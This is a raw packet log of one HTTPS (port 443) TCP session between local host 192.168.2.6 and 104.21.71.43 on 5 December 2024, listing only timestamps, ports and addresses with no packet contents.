Dec 5, 2024 15:04:46.948661089 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:46.948685884 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.105456114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.105474949 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.105673075 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.105690956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.105745077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.110017061 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.110033035 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.110102892 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.110110044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.110152960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.115780115 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.115797043 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.115859985 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.115865946 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.115911961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.121640921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.121656895 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.121735096 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.121741056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.121786118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.126810074 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.126827002 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.126897097 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.126903057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.126940012 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.132379055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.132396936 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.132453918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.132461071 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.132499933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.137944937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.137959003 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.138017893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.138024092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.138071060 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.143655062 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.143670082 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.143745899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.143753052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.143790007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.334572077 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.334594011 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.334734917 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.334749937 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.334800005 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.339698076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.339715004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.339765072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.339772940 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.339798927 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.339818954 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.345535994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.345554113 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.345655918 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.345670938 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.345716000 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.350594044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.350610971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.350687027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.350693941 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.350743055 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.356394053 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.356422901 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.356489897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.356496096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.356544971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.362075090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.362099886 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.362143040 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.362152100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.362201929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.365636110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.367535114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.367562056 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.367604971 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.367619991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.367685080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.367685080 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.373403072 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.373421907 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.373460054 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.373466969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.373554945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.531507969 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.531532049 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.531740904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.531754017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.531836033 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.535968065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.535984039 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.536048889 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.536056995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.536103964 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.542236090 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.542252064 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.542325974 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.542332888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.542376995 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.547650099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.547666073 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.547735929 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.547741890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.547794104 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.550088882 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.550167084 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.550173044 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.556137085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.556154013 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.556226969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.556233883 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.561316967 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.561342001 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.561422110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.561430931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.567028046 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.567043066 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.567137003 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.567142963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.574261904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.574279070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.574382067 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.574390888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.614377022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.747911930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.747922897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.747992992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.748028994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.748049974 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.748080969 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.748101950 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.753015041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.753029108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.753109932 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.753117085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.753159046 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.758841991 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.758857965 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.758944035 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.758971930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.759021997 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.764470100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.764487028 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.764564991 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.764570951 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.764614105 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.769510031 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.769526958 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.769598007 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.769604921 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.769643068 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.775691986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.775707960 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.775782108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.775788069 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.775826931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.780760050 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.780775070 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.780852079 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.780858040 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.780891895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.786609888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.786624908 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.786680937 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.786686897 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.786724091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.939732075 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.939754963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.939810038 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.939824104 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.939835072 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.939865112 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.945446014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.945466995 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.945516109 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.945533037 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.945550919 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.945571899 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.951271057 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.951288939 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.951339960 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.951349020 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.951391935 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.952148914 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.952198982 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.957954884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.957995892 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.958072901 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.958081007 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.963850021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.963871956 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.963915110 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.963922977 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.963947058 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.969144106 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.969160080 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.969221115 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.969230890 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.974549055 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.974577904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.974622965 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.974630117 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.974639893 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.980051041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.980068922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:47.980138063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:47.980145931 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.036221027 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.187213898 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.187227964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.187268972 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.187300920 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.187310934 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.187325954 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.187371016 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.192919016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.192926884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.192954063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.193021059 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.193030119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.193053961 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.193075895 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.197933912 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.197951078 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.198035002 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.198043108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.198086977 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.203926086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.203943014 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.204016924 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.204024076 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.204070091 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.209214926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.209232092 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.209312916 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.209320068 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.209361076 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.215070963 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.215091944 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.215178013 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.215186119 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.215229034 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.220719099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.220736980 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.220834017 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.220841885 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.220881939 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.225900888 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.225920916 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.226105928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.226114988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.226160049 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.401602983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.401634932 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.401765108 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.401773930 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.401809931 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.407125950 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.407147884 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.407203913 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.407211065 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.407263994 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.412936926 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.412961006 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.413008928 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.413014889 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.413048983 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.413058043 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.417937994 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.417968988 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.418005943 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.418011904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.418037891 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.418050051 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.423448086 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.423469067 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.423634052 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.423640966 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.423690081 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.429295063 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.429322004 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.429369926 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.429378986 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.429408073 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.429430962 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.434900999 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.434921026 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.434973001 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.434978962 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.435018063 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.435044050 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.440740108 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.440764904 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.440830946 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.440838099 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.440881968 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.593919992 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.593961000 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.594095945 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.594104052 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.594147921 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.599498034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.599524021 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.599560022 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.599565983 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.599595070 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.599618912 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.604449034 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.604473114 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.604523897 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.604532957 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.604573011 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.610344887 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.610404015 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.610469103 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.610476017 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.610515118 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.615909100 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.615936041 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.615982056 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.615988016 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.616033077 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.621660948 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.621733904 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.621735096 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.621747971 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.621793032 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.621803999 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.627273083 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.627290964 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.627337933 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.627345085 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.627379894 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.627394915 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.632332087 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.632350922 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.632397890 CET	49906	443	192.168.2.6	104.21.71.43
Dec 5, 2024 15:04:48.632404089 CET	443	49906	104.21.71.43	192.168.2.6
Dec 5, 2024 15:04:48.632440090 CET	49906	443	192.168.2.6	104.21.71.43
